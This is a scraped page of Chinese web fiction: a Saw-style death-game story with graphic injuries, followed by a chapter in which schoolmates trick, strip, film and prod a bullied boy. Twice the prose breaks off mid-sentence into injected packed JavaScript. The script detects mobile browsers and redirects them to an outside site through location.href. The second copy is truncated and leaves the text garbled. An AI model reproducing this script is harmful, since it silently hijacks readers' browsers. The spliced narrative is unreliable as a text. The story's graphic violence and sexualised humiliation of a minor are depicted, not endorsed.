莱顿见状,二话不说钳着露西的脖子,拽到坑前,露西尖叫中,手臂一甩。 ——“啊!” 露西的惨叫,有人害怕,有人担心,还有人冷漠。 艾登怒视着莱顿,莱顿肌肉壮硕,让人忌惮得不敢轻举妄动。他咬牙,脖子和耳根通红,几乎闭起眼睛,不忍直视仰躺在坑内的露西。 露西在那一声急促的尖叫后,没再发出动静。她神色恐怖,眼珠突出,眼白爬满了红血丝,整个人直挺挺躺在注射器的针尖里,肢体僵直得跟死人似的。 “行了,你给我快点!”莱顿抱着手臂站在坑前,不理会众人对他的谴责,催促到:“别他妈趴在那儿!动起来啊!?你想死吗?只有四十多秒了!”怒吼中,他举起拳头,示威的意图显而易见。 “嗬嗬......” 露西喉咙里含糊不明吐出声,含泪翻转身体,趴在注射器里摸索,针管快没过肩膀。耳边是莱顿冰冷的唾骂,手臂、大腿、背部刺痛不断,随着动作,深深扎入皮肉的针管在空气中不住晃动,纠扯着肌肤,传来沉甸甸的坠感。 她抽泣着,双手麻木地在针管里翻寻,红肿的眼睛流露出不安和苦痛。 终于—— “找到了!我找到了......”她大叫,胸膛剧烈起伏。莱登一把从她手中抢过钥匙,艾登这才向露西弯腰伸手。 此时倒计时步入个位数,莱顿急匆匆将钥匙插入保险柜,旋转—— “嘭”。 保险柜内传来炸裂的刺响。 众人无措中,电视屏幕闪烁一瞬,两目板滞的比利娃娃出现:“很遗憾,你们并没有依照游戏规则行事。”它的下颚以一种死板的频率开合着,“这是属于莱顿的房间,不应有旁人的介入。所以,作为惩罚,这支药剂作废。” 莱顿暴跳如雷,脸色因愤怒而赤红,他扯着嗓门,骂不绝口。露西依靠在艾登身上,小心翼翼抬起眼瞧着莱顿。有一瞬间她感到痛快,然而一想到莱顿鲁莽的行经,露西的心沉下来:万一莱顿抢别人的药剂呢? 众人心里惶惶然,切斯特顿眼神闪烁。各自心怀鬼胎的这一幕透过墙角的监视器,传到电脑显示屏。显示屏前的人影闲适地看着,白色的鬓发在屏幕的荧光下熠熠发亮。 这无疑是一位上了年纪的男人。他看起来肩膀宽大,胸膛依旧健硕,然而衣物遮盖下的皮肉褶皱却暴露出这具身躯的无力。岁月将他青年时满身的锐意磨蚀钝化,唯有冷峻的五官还剩下那点锋利感。 他有着笔挺的直鼻子和深邃的淡绿色眼眸,嘴角皮肤略微松弛下垂。发际线靠后,露出宽阔的额头,鬓角发白,在面无表情时,面庞透出沉静的威严。 “汤姆,下一关是为你而设的。” 他的声音响彻在房间,听起来和蔼可亲。脸上缓缓挂上了笑容,眼角的几条细纹深深凹陷进去,周身气息平和下来,绿眸却沉淀出深不可测的暗光。 在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|11981992|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身侧的比利娃娃,两腮可笑的红晕突起,比例怪异的脸蛋上睁着空洞的双眼,和它的主人一起,将视线投向屏幕中游离在外的人。 从始至终,面对他人的死去或受伤,汤姆黝黑的瞳孔与发白的巩膜,不曾变化,偶尔垂下眼皮,卷翘的睫毛投下一层阴影,目光蒙上微薄的冰冷愁绪。 “你不惧怕死亡,疼痛,也无法使你恐惧,那么......” 这是个空荡的房间,两侧各有一道门,中央红橡木桌上摆放着录音机和一卷麻绳。没有人说话,他们局促不安地看着切斯特顿走上前,从桌上拿起录音机,那道沙哑的金属般的合成音再次响起: “Hello,Tom,Mike.” “I wanna play a game.” 乍听第一个人名时,不少人满头雾水,但切斯特顿随即恍然,目光落在汤姆身上。 汤姆还是那副低眉垂眼的模样,仿佛念到的名字并不是自己。他温顺得像只羚羊,睫毛又浓又密。 麦克呢?他脸色铁青,双手插进头发里。他焦躁极了,这是一种近似于恐惧的紧张。 切斯特顿心想:古怪,太古怪了。 “你们一个日复一日麻木自己,甚至靠廉价的疼痛来消磨时光。” “一个则是为了生存不择手段,走私毒品、赌博、贩卖人口......” “但不管怎么样—— 麦克,反绑你的双手前往左边。汤姆,打开你右边的门接受考验。” “Live or die.” “Make your choice.” 在莱顿用粗绳绑住麦克的手时,汤姆打开了门。门后是一条阴暗的长廊,他拖着步子,一下没一下地走着。 忽地,脚下似乎碰到了门槛,汤姆下意识抬腿跨过,门在他的身后重重关上。而伴随合上的门,房间里腾地亮起一道光屏——是电视。 满屏在短暂的雪花后,出现那张标志的比利娃娃脸蛋。 “Hello,Tom.”声音怪异而又低沉,腔调严肃,“You don''t know me,but I know you.” “十几年来,格林夫妇对你倾注了所有的爱意。你生活在一个幸福的家庭,兄妹友好……” 汤姆有点半梦半醒的恍惚,他往日里长期呆在昏沉的光线里,就和现在这屋子差不多。黑暗催生了他无垠的倦怠,那一刹那,清晨早起、一日三餐、暮色黄昏……一幕幕过往的光景接连划过汤姆的脑海,他站在原地,时间却仿佛铺成开来化作一条线,一眼就看到尽头,他乏味又压抑得快歇斯底里。 有什么意义呢?汤姆心里闷得难受,胸口犹如灌满了铅水。在他几乎忍受不了时,录音机里的声音陡然加重,从平和嘲弄的语气骤转为命令的口吻—— “往左看,” 汤姆被惊醒了。电视机的荧光照出了左侧窄小的洞口,洞口勉强能容纳一名成年男性躺着进入。 “钻,进,去。”拖着尾音,说话间刻意顿出分明的间隙。 汤姆的手沿洞口边缘的曲线摩挲,指甲碰到金属边缘发出锐响,他停手,心里怪奇:没有时间限制,什么威胁也没有……那,要照做吗? 另一边,打开门后的麦克慢慢走着,反绑的双手让身体容易失衡,他压着步子摸黑前行。低身穿过一道矮门,刚进入屋子,门便砰的一声自动合拢。 摇曳的灯光照着与墙壁紧密相连的门,它严丝合密得几乎不露一点缝隙。麦克沉着脸扫视一眼,手放在门上推了推,见彻底堵死后,他四处张望,最终把视线停留在前方窄小的洞口上。 它四四方方的形状类似通风口,却比通风口更狭窄。内里黑黝黝一团,看不清里面究竟有什么。 麦克缓缓踏着步走进,眼尖发现里面放置的录音机。拿起时,像是触发了什么机关,整个洞口亮堂起来,而录音机内传出的声音与前两次似乎有些细微的不同:“Hey,Mike.” “看到面前的洞口了吗?你的游戏将会在这个不大的地方里进行。它的尽头就是出口,药剂就在那儿。” 麦克往里打量,冰冷的气息迎面打来,混杂着金属和尘埃的气息,差点喘不过气来。 洞内用细绳挂着药剂,约三四英尺后的两端,每隔一段距离分布着四十五度斜的刀刃,正中间则是一个个针头大小的刀尖,明晃晃地反射出光。 麦克看得不寒而栗,而录音机里还状似体贴地提醒:“放心,中间的刀片是可推动的。不过,嘘—— 听到了吗?” “滴——答......” “滴答滴答......” 这重叠的滴答声,一个是倒计时的声音,一个则是从天花板裂隙中接连不断地渗下的水滴,落在地上在“滋滋”的动静后,蒸腾出雾似的白气。 麦克的心给揪紧了,面容凝重。他手腕扭动,绳结仍牢固地束缚着双手。 该死!莱顿怎么绑那么紧!?他一面在心里破口大骂,一面竖起耳朵留神录音。 “那液体你应该不陌生,□□,你工作的老同事了。可惜,留给你们叙旧的时间不多。三十秒后,通口的刀片将会彻底并拢。” “聪明一点,活下来。” 没等录音说完,麦克狠下心,脸朝着刀尖爬了进去。 不远处锐利的刀锋晃着白森森的光芒,麦克感到那股瘆人的寒意压在冒出大滴大滴汗珠的面庞,他咬的牙齿咯咯作响,让自己保持冷静,反绑的双手向上一够,拽下药剂,他不敢停歇,反而逼自己加快速度。 在迎面撞上刀刃时,他小心避开眼睛,刀尖在额头、脸颊留下一个个血窟窿,随着麦克蠕动般的爬行,脸上的伤口愈来愈深,血从洞口竞相流出,顺着面部线条淌到脖颈,像是一条条长在面上的毛细血管。 两侧锋利的刀片削过臂膊皮肉,沾上猩红的肉沫,温热的液体一路流淌而下,汇聚在通道平面,湿透了麦克的衣裳,轻薄的背心牢牢沾着身体。黏糊糊的触感在两臂与面部的痛感下,已经可以忽略不计。 在倒计时的催命下,麦克只顾着麻木地拱身行进,动作僵硬而不连贯,痛苦的闷哼压抑在嗓间,气喘不已。 “唔……” 莱顿胸腔震动,粗声大气地嚷着,“我说,有必要站这儿干等吗?” “咳咳……” 一迭突如其来的咳嗽声盖过莱顿的大嗓门,贝拉米仿佛要将自己的血液脊髓一并唾出般,咳得非常厉害,略有浮肿的面容更加憔悴。 拥着贝拉米的鲍勃,似乎闻到了自己妻子惨白皮肤的臭味。 莱顿啧啧了两声,抱臂等贝拉米咳嗽停歇,才又开口:“你看看,毒气可不跟你讲什么绅士礼仪,”他理直气壮地说,“时间就这么点,干等个昏天黑地直到他两出来?哈,这不就是等死吗?” 从众人犹疑沉思的眼神中得到满足,莱顿没再傻站,干脆利落地旋身离开。 他似乎说的有点道理,艾登他们心里已经被说服得差不多,就是缺一个拍案的主心骨。 贝拉米身子骨最弱,早先年她就给毒品掏空了身,时间一点点过去,她对毒气的反应最为明显。生命力的不断流逝,让艾米拉不免心焦,她推搡了几把鲍勃的胳臂。向来老实、对妻子听之任之的鲍勃,却怯生生将视线挪向切斯特顿。 接受到众人不约而同投来的视线,切斯特顿早就活络起来的心思,更是如同开凿的洪水,制止不住。他像是沉思后想到什么似的说:“属于莱顿的药剂早已失效,可他却这么急匆匆的……” 众人神色变了,他们对切斯特顿的未尽之意心领神会。 莱顿此前的所作所为,无不告诉他们,这就是个鲁莽自大、自私自利的混蛋。他很有可能会因为自己没得到解药,而怨愤地想要拖着所有人一起去死。想到这儿,他们再也安耐不住,一个个步履匆匆,前脚跟贴着后脚尖地离开了。 11. 新电影01 【影片名称:《???》 简介:饱受欺负的马蒂,在一次玩笑后受到了无法弥补的伤害。十年过去了,各有所成的参与者们都被邀请踏上一场充满血腥的复仇之旅。】 当炮火终于熄灭,同盟军欢呼的浪潮在世界里起伏时,多兹维尔小镇上的人们也从焦黑的废墟上修建中学,并在校门口摆放上黑石碑,骄傲地镂刻上闪闪发光的字母:“DODDSVILLE COUNTY HIGH SCHOOL COUNTY HIGH SCHOOL”。自那以后几十年来,多兹维尔学校接收每一位小镇居民的子女,启迪和教育所有孩子,更是近些年同他国开展交换生项目,汤姆便作为交换生来到了这里。 父母满面愁容,唯恐孤身在外的宝贝儿子受到欺负。牵挂让他们忧心忡忡,临别时脸上艰难得挤出一丝笑容。 汤姆斟酌措辞,慢吞吞地说:“你们又不是不知道,只有我欺负别人的份儿,哪有别人欺负我呢?” 汤姆从小就学习柔道和散打。只会是别的孩子被打得哇哇大哭,而汤姆在一片鬼哭狼嚎中,岿然不动。那姿势气度,就像和朋友们进行了场普通的交流,人家家长瞧了都心里打鼓。这白白嫩嫩一小孩,个子都还没你高,你跟我说是他下的手? 小孩们看一眼汤姆,玉面般白生生的,哪有刚刚的凶神恶煞?眼珠子转溜回想刚才的一切,只觉得电光火石间自己就哆嗦着身体躺在地上了,好像也不一定是汤姆动的手,一个二个开始支支吾吾。 最后还是深谙汤姆不可貌相的父母,出来挨个致歉。听夫妻两人解释的家长,语气从阴阳怪气到一言难尽,末了接过话茬,语重心长地说,什么事儿都不能急躁,尤其是孩子的教育,更是不能操之过急......千言万语化成一句话,对孩子好点。 这可冤枉了汤姆父母。 虽然军人出身的父亲很希望儿子磨炼,褪去那一身细皮嫩肉,但是倒也没想让那么小的孩子埋头狠扎武术堆。然而汤姆天生就有一种迫切感似的,弯腰压腿,学得是毫不含糊,有段时间拉伤骨折甚至成了家常便饭。他们心疼得要劝说儿子放弃,汤姆那双眼睛乌溜溜瞅着人看,嘴巴撅起不说话,汤家父母败下阵来。 好好好,学学学。 但是他们心里仍然发怵。生怕汤姆仗着本领误入歧途的夫妻俩,不约而同地观察儿子的一举一动,这才发现,汤姆哪儿是会成为凶狠好斗的人啊?他就差直接把“滚开,别挨我”的冷漠刻脸上了。 如果说汤姆没有变得凶狠好斗,是本性使然。那他没能成为冷漠而置身事外的人,全靠汤家人把持。 汤姆从一出生就比别的小孩要成熟,汤家父母还对此又心疼又骄傲,现在他们明白了,比起成熟懂事,更多是近乎麻木的无动于衷,仿佛是一个丧失同理心的冷血动物。 这可就是热油锅里掉了瓢凉水点子,不得了了。 汤父是退役军人,天生正义感强烈,母亲又是名教书育人的老师,见不得袖手旁观。他们一个唱红脸一个唱白脸,汤姆在父亲的铁拳和母亲的期待中,什么置身事外什么无动于衷全都偃旗息鼓了,自己都还没反应来就成为四邻八舍里口口相传的乐于助人、热心肠的别人家孩子。 有时候还会对脾气火爆的父亲和看似温柔的母亲心里发怵,就像这个时候,汤姆刚刚的言辞又刺得父亲吹胡子瞪眼,说:“就你学的那点技量,充其量是小打小闹。” “我们这些人打架可不就是小打小闹?”汤姆嘟哝。 母亲眉头倒竖,按住汤父的头,拧了一把腰肉,对汤姆笑:“汤姆,如果只是一两个同学的不友好,我是支持你的想法的。可是一旦人多势众,就像你父亲说的那样,只怕双拳难敌四手。我们不在你身边,怎么能安心呢?”她一贯是一碗水端平,丈夫和儿子谁不缺着。 汤姆无奈,对于他们的思虑,只能一再保证会好好照顾自己的。 实际上,汤姆父母也确实没担心错。汤姆刚入学那段日子,基普等人的骚扰可谓是无孔不入,而常人对他们往往束手无策。 一方面,这群人可是大有名头。以基普、卡罗尔为首组成的五男四女小团体可以称为多兹维尔中学的“顶级帮派”,备受学生们追捧。他们聪明机灵,绝大多数人都有着出色俊俏的外表,最差的也是五官端正。叛逆肆意的性格,使他们与人交流相处时无拘无束、满怀热情。说直白点——这就是一群不折不扣的调皮捣蛋鬼。 另一方面,他们总是以开玩笑的名义欺辱戏弄他人,学校里老师听了,往往头不抬眼不睁,说几句劝解的话。受害者卯足了劲儿,他就侧头不轻不重地告诫基普他们收敛点,再回过头对受害者叹了口气,让人别这么紧张,对玩笑放开点。这种各打一棒的态度更是助长了基普等人的嚣张气焰。唯有重规矩好面子的教练,尚能管教约束一二。 这群人见汤姆的第一眼时,就跃跃欲试。当然,不是殴打辱骂。他们从不干这种没品的事儿,只是开点小玩笑罢了。只可惜,这一次他们遇上了硬茬子。 第一次开玩笑,他们预想中汤姆的惊慌失措没出现,反而是自己一群人被吓得落荒而逃。 怯懦不过是武力不足。汤姆对此深信不疑。他当然有被吓到,但是长期的锻炼下来他越受惊,拳头就会越有力,痛打惊吓源。当然,打小受到父母亲切的教育,汤姆已经学会短暂地发疯后遏制住自己的冲动,于是眼睁睁看着其他人见势头不妙,纷纷抛弃被一顿好揍的基普和弗兰克。 面对汤姆的疑问,基普委屈地说:“我们就是开个玩笑而已,你这人怎么开不起玩笑?” 这话一出,汤姆觉得棘手了,头大了。他幼时早熟,空闲时间全苦学武术,基普又一脸真诚。汤姆一时很犹豫,难不成真是玩笑? 想不通的汤姆和父母打电话诉说自己的疑惑。 父母:“?” “你再说一遍?他爹的说的什么?我日他八辈子祖宗,这是哪些狗杂种说的唔,唔......” 母亲捂住骂骂咧咧的父亲,语气温柔而阴森:“汤姆,你也觉得这不是个玩笑吧?这不是你的问题,玩笑应该是双方都认可,可你明显不认同,不是吗?别被欺负了,我们会永远站在你身后的。” 这话一出,汤姆像是得了什么至理名言,放下心,回手得毫无顾忌。有所准备的基普等人还是一见面就被打翻在地,唯有肌肉发达的弗兰克和乔伊有点出息。 弗兰克有来有往和汤姆过了几招,还没等众人为他喝彩叫好,他也被汤姆撂倒了。乔伊起初打算凭借自己厚厚的脂肪、耐打抗摔的身体回手,被汤姆几个狠击后,他抱头蹲地,躲在斯特拉的怀里痛苦嚎叫。 这样纠缠过了一个月,基普、弗兰克他们惨痛地发现,自己确实打不过汤姆,合伙也不行。只能故作大度地宣布,放下芥蒂和汤姆交朋友。 嗯,来自他们单方面的宣布。 卡罗尔、苏珊几位女同学早就不想和汤姆过不去了,但是碍于朋友不好光明正大和汤姆示好,只能默契地在基普所谓的复仇行动中划大水。这下有了这个所谓的不计前嫌,她们可算是松了口气。 而基普、弗兰克、哈里斯、乔伊、特德这五个人也都是咬着牙硬撑罢了。汤姆人又傲又有本事,性子辣得合他们口味。被汤姆打的这么多次,但凡有一次汤姆示点好,他们就爬杆子上架,放弃死要面子的行为了。 说是放弃并不代表他们就不和汤姆接触了。这群人性子恶劣,基普、弗兰克、哈里斯三人更胜一筹,能一直完好无损活到现在,和他们巧言善辩、察言观色的技能离不开关系。当他们愿意施展这技能讨好他人时,再加上出色俊朗的面孔,很少有人能够逃脱。可是这次他们又遭到滑铁卢了,这三人竟然也不惊讶,反而有点意料之中的安然自得。 而汤姆还没能从这突然的转变中能反应过来。基普他们现在就单纯和他说话,这些话不能说有分寸,只能说是直到适可而止,一见汤姆不高兴了,每个人溜得都很快,搞得汤姆都不好动手了。三番几次下来,汤姆心里愈发怀疑,这群坏家伙该不会是换成这种法子来开玩笑吧? 直到最近这些天,基普他们像是消停了似的不再骚扰,汤姆难得有心思在学校闲逛。 多兹维尔学校是小镇上除了教堂外,唯一一栋哥特式风格的建筑,五六层高,开满了九宫格式的窗户。四周长着绿植,学校的两侧掩映在挺拔的栎树群后,正中央是一块不大不小的葱绿草坪,在清晨旭日抛下的光线里,散落绿茵的细小缤纷的花无所遁形。 这无疑是个舒适僻静的角落。学生们三无成群,或躺或坐地聚在草坪上,正悠闲地和身边的人享受美好时光时,广播声蓦地响起,“参赛者与观众们,提醒田径运动会将在15min后开始。请前往田径场。” 学生们相继站起身,一手抓起自己的东西,和好友嬉笑中离开。汤姆跟着人流一起,经过身侧红砖蓝瓦的建筑,经过一扇扇方方正正的窗户。一对男女与汤姆隔着窗擦身而过。 若是汤姆偏头看到了,肯定会很惊讶。他们是卡罗尔和马蒂。两个光是外表上,就看起来毫不相干的人。 “来吧。”披着大波浪蓬蓬发的卡罗尔,看着面前羞涩犹豫的马蒂,劝说,“你也想这样的,不是吗?” 她身材高挑,衬衫塞进牛仔裤腰。这简洁干练的穿着加上一头摇滚风版的蓬发,像VOGUE杂志里的时尚女郎一样气质优雅。额前略齐的刘海让她多了几分柔和,看起来不那么高不可攀,这给了马蒂回复的勇气,“呃,当,当然......” 马蒂·兰岑,这个平日里饱受欺负的可怜男孩,今天居然奇迹般的得到了卡罗尔的邀请。这可谓是天降的馅饼,涉世不深的马蒂被砸个恍恍惚惚,只知道两目一扎也不眨地看着卡罗尔。这位风云全校的漂亮女生。 天啊,上帝真的眷顾他了吗?马蒂不想露怯。他挺起胸膛,说话的声音都变洪亮了:“MARTY game for anything.” 卡罗尔不会骗他的,马蒂自忖道。但他依然惶恐不安,自己平日里埋头书本,对于大名鼎鼎的基普、卡罗尔等人自然是艳羡不已,可也仅仅止步于此。马蒂知道自己以后要走的路不会像基普他们一样,他不适合,马蒂很清楚地明白这点。 他在化学上小有成就,还拿了奖。这对小镇来说可谓是破天荒。那是他第一次被人环绕交口称赞,可惜几天后,学生们的热情退散,马蒂又变成他们口中无趣的书呆子。 马蒂一想到这件事儿就又尴尬又伤心,也不自觉弓着背自卑起来,自我安慰说,自己这个样子没什么值得卡罗尔欺骗的。 两人经过教室和张贴满纸张的公告栏,卡罗尔偷偷地扫了眼教室大门,余光瞥到橙红色公告栏上的日历,三月三十一。 “怎么了?卡罗尔。” “没事儿。”卡罗尔收回视线,笑眯眯地看着马蒂,说:“我们继续吧,马蒂。别犹豫了,想想我有多真期待......” 教室屋门正中间开了风窗,一个兴奋得瞪大眼睛和嘴巴的头悄然出现在玻璃后。基普趴着门,轻声而敏捷地推开,更多的人从门后一个接一个冒出,你拎着标枪,我提着三脚架,鬼鬼祟祟跟了上去。 最后身材丰腴的短裙女生斯特拉拽着粉色内衣,落后一步。错身经过日历时,她突然退回来,用一只带着戒指的手,撕掉一页,露出下方四月一日的字眼。 女更衣室处。 马蒂又开始犹豫。越是临近更衣室,他越退缩,心里七上八下,身体紧紧挨着走廊边,下方田径场上的口哨声、呼喊声隐约传来。 卡罗尔又劝到:“你在担心什么?”见马蒂胆怯地环顾四周,她仿佛意会地说,“田径比赛、才开始,不会有人想要来找我们。” 学生都在田径场,不会出现在这儿。马蒂对此心知肚明,可是卡罗尔身后更衣室的门好比张着泼盆大口的怪物,马蒂吓得脑袋快缩进脖子里,呐呐地说:“下一次,下一次吧。” “哦,别这样,”卡罗尔是那么的诚挚,“来吧,来吧......你这样别人会怎么想?” “不,不了,”马蒂喜欢卡罗尔,在基普一行人欺负他的时候,卡罗尔是唯一一个不仅不欺负他,有时还会安慰他的。他对卡罗尔充满了感激,“我只是担心别人怎么看你。” 他是一个在腼腆善良不过的男孩,没有什么坏心思,只是嘴笨又不会玩,这让他在除了化学以外的领域显得有些笨拙。或许在国内,这类孩子会是口口相传的别人家孩子。但是在国外,至少是在多兹维尔中学,这种性格就是原罪,是注定要受到戏弄的出气包。 卡罗尔看上他可能是觉得稀奇,想玩玩而已,而且等这一次过后,卡罗尔也许会懊恼怎么就和马蒂这样的人在一起了呢!一想到这个结果,马蒂就觉得胸膛闷闷的,嗓子梗了块异物似的发不出声。 一声叹息从卡罗尔嘴里吐出,马蒂心头猛跳,猛地窜到嗓子间似的,不安地想:她是对我失望了吗? 就见她向前走了几步,温柔地拉过马蒂的手,缓缓往后迈步。卡罗尔的柔情蜜意,让马蒂已经没有力气再去拒绝,一步步被攥着靠近更衣室。 进门后,卡罗尔指了指沐浴间,说:“你在那里脱衣服吧。” “那你呢?卡罗尔。” 卡罗尔一边解开条纹衬衫的扣子露出胸脯,一边笑,“我在什么地方?”她身体前倾,手卷起马蒂的羊毛衫,拉过胸脯,正要脱下—— “笃笃。”门口响起询问声。 “不要惊慌,保持冷静。” 马蒂不断念叨,脸上的表情却因为惊慌显得有些弧度夸张,都不知道是在安慰卡罗尔还是安慰自己。还是看着同样受惊的卡罗尔指挥马蒂躲进身后的沐浴间,又冷静地拉上橄榄绿色的布帘子,随后马蒂听到她们交谈的声音。 “嘿!苏珊,你来做什么?” “那些运动员,可真烦人!” “唔,但是弗兰克在玩标枪,你不想去看看嘛?” 窸窸窣窣的聊天声,躲在沐浴间的马蒂紧张得眼珠子四处乱窜。忽地,隔间木板上的小字吸引了他的注意力。上面用蓝色墨水笔歪歪斜斜写了几个字母:“marty rantzen fucks!” 马蒂眼睁得溜圆,嘴巴开开合合,一时竟然手足无措。直白粗鲁的话让他像是条搁浅的鱼,噗嗤噗嗤地扭动着尾巴,躁动不安到了顶点。也是这时他才有实感,自己是真的受到卡罗尔的邀请来到了更衣室。 这个小细节的发现,让马蒂深信不疑。毕竟他不值得卡罗尔费尽心思地骗他。 蓦地,隔壁布帘被拉上,并传来迅疾的水流声。 “这是?” “洗澡。” “哦,哦。”马蒂连声说了几句,也没敢再问,生怕多问几句就显露出自己拙笨不堪。他在卡罗尔这些人面前总是自卑的。 马蒂脱了衣服放在隔间的门板上,好不容易才忍住滚到喉边的傻笑,说:“卡罗尔,你知道吗?我从来不敢想象这一天!这绝对是我最开心的一天。” “不会的!”卡罗尔似乎意识到自己说的话有歧义,连忙解释说:“我的意思是,你以后当然还会有很多个这样开心的一天。” 马蒂别别扭扭地欣然接受卡罗尔的解释。 例行检查的管道工途径沐浴间,门口散落各色男士女士的鞋子。他含糊不清地嘟囔,并用脚将鞋子踢靠边,免得影响人走路。踢了几脚,管道工突然醒悟,怎么会有这么多鞋子?他视线落到更衣室门开的窗户上。 窗户分成九格,绝大部分是镂刻蜂窝形态的磨砂玻璃窗,唯有右下角的小格用铁丝框出一个个方型。铁丝后,露出管道工那张黝黑的脸,两片厚嘴唇快贴上铁丝。目睹更衣室的景象,他没吭声,蹑手蹑脚地离开。 “Fuck!”卡罗尔突然咒骂一句。 马蒂停下沐浴的动作,问:“发生了什么?” “我解不开胸罩了。” 马蒂支支吾吾,吐出一句:“你想要我帮助吗?呃,我不是那种......” “哦,不,不用。我自己可以的。” 卡罗尔的拒绝,马蒂说不上是失望还是松了口气。然而就在卡罗尔话音刚落时,马蒂感到什么东西碰到他的头发,抬头一看——一个粉色胸罩。它还带了点惯性在晃动,在空荡荡隔板顶上,是那么显眼。 联想到卡罗尔说的话,马蒂浑身燥热起来,脸蛋羞得通红,而卡罗尔还在火上浇油地说:“快点吧,马蒂,我全身都湿透了。” “卡罗尔,你知道吗?”马蒂感动极了,“这是我度过的最好的生日。” 卡罗尔的声音突然奇怪,“4月1日是你的生日?” 毫无察觉的马蒂,肯定的回话中混杂着沐浴水声。 沉默片刻的卡罗尔声音恢复了正常,“那你准备好了吗?”她语调欢快。 马蒂犹豫:“也许。”刚说完他就后悔了,马蒂,你怎么这么墨迹?自己答应好别人的。这像什么样? 他一咬牙,一闭眼,利索拉开布帘,大喊道:“Here is Marty.” 看到外面的瞬间,他呆滞了。 ——“Happy April Fools'' Day!” 一群人男男女女屈着膝站在门口,有些拿着各式各样的东西。哈里斯拍着特德的肩膀,弗兰克抱臂,头戴小丑面具的人将灭火器里喷出的水流对准小马蒂,南希手里的闪光灯直直朝马蒂打来。 所有人尖叫着愚人节快乐,步步逼近。 马蒂惊恐害怕的神情,仿佛马上就会嚎啕哭出声。他绷紧脚背,忙着发抖的手慌慌张张拉上布帘,然后发现自己放在隔间上的衣服不见踪迹。下一秒,帘子就被一旁的卡罗尔拉开,不着衣物的马蒂再次出现在众人眼前。他可怜地瑟缩在墙角,身体白花花得像地面的瓷砖般,轻轻一碰就能被击个粉碎碎。 可怜的马蒂啊! 乔伊看得津津有味,手中持的标枪一下又一下戳向马蒂身体,下流地在马蒂股间徘徊。马蒂一只手遮跨,旋即想要跑出众人的包围,却一次次被人群和标枪推搡回沐浴间。这时,“你在偷拍?”他才后知后觉发现苏珊和带着小丑面具的人正举着相机。 管道工遇上了受同学委托回来拿东西的汤姆,这个才来了几个月的交换生凭借独特的行事作风和漂亮的五官面孔迅速在多兹维尔学校里出了名。他像个勇士一样,身手过人又毫无畏惧,若是他对人态度稍微温和一点,或者在学校上学的时间再久一点,只怕受欢迎程度能同基普一行人比个高下。 听到管道工说了前因后果后,汤姆利落地前去阻止,让管道工去找教练来。 与此同时,刚突出突围的马蒂转眼就被人绊了跤,一头栽倒在地,两个男生趁机攥着他的脚踝将人拖回沐浴间。 “呃、呃......”身体光裸在地板上磕绊着摩擦而过,马蒂喉咙滚出呼噜声。 人群更兴奋起来,马蒂的情绪反馈让他们欣慰和喜悦,一改从汤姆那儿受挫的无精打采,一个个乐得忘其所以。 所有人用专注的目光看着被倒举在马桶上方的马蒂,哈里斯和特德抓着他的大腿根,脸上洋溢着青春开朗的微笑,手臂刚要下落将人塞入马桶—— “你们在做什么?” 听到这声音,所有人下意识停住,乔伊和哈里斯松开手。摔在地上的马蒂忍着痛,匆匆从地上爬起来,畏畏缩缩看了眼衣着整齐、光鲜亮丽的汤姆,一时间竟然忘了自己的窘境,下一秒基普的话换回了他的理智,可是哈里斯和特德也反应过来,揽过马蒂的肩膀,不让人离开。 “哦,别这样,汤姆,我们就是和马蒂开个玩笑而已。”基普微笑,伸手阻拦住想要上前的汤姆,“今天可是愚人节,亲爱的。” 他谈吐风趣,深邃的眉眼和棕黑的鬈发让他看起来像个抑郁的诗人一样,可除了偶尔表现出来的斯文有礼,他的性格和抑郁诗人可谓是完全不搭边。 “玩笑?”汤姆抓起臂肘上搭着的马蒂衣服,往基普身上甩去,基普赶忙后退,又笑嘻嘻地摇摇头。 弗兰克举起一罐啤酒,朝汤姆晃了晃,讨好地说:“喝杯啤酒吧?” 汤姆没理他,指出关键的问题:“田径场还有比赛呢,你们怎么在这儿?” “哎呀,这不是马蒂想过愚人节,我们给他准备上嘛?”哈里斯吊儿郎当的两手揣兜,样子不着调,话更是贴不着实际。 卡罗尔打着圆场:“好了好了,汤姆,就是一个小玩笑而已。你别看马蒂现在哭哭啼啼的,好几分钟前他可高兴可期待了。” 马蒂因为这话伤心得放弃了挣扎。 他们七嘴八舌的辩解,但脸上的神情是唯恐自己把汤姆说服了般的漫不经心。实际上,卡罗尔一群人确实也没觉得他们在欺负马蒂,好吧,也许是有一点。但是他们可没动手动脚,你看看马蒂受伤了吗?他完好无损着呢。只不过是开点小玩笑罢了。嘿!别那么老古董了好吧?一点小玩笑没必要念念叨叨的。 他们对这套想法坚信不疑,腰杆挺直,摆出一副出受害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“伯纳斯化学奖!”一说到化学,马蒂开始滔滔不绝,讲起了自己是如何得到奖的、待会儿的化学实验以及涉及到的化学元素、方程式等。他眼睛里闪烁出骄傲和自信的光芒,原本害羞内敛的脸蛋焕发出光彩。 汤姆瞄了眼手表,离四十五还有十分钟。再耽搁的话,自己可能会迟到,但对自信雀跃的马蒂,汤姆沉默没有打断,耐心地听了下去,偶尔捧场。 最后是马蒂手舞足蹈中,手碰到柜子,刺痛让他从兴奋的状态惊醒,这才发现自顾自讲了这么久。 天啊,我都干了什么?!他在心里悲恸大哭,面上也不由露出一副可怜兮兮的模样。 汤姆安抚地说:“如果你想的话,或许我们可以等晚上,你结束实验后再继续聊。” 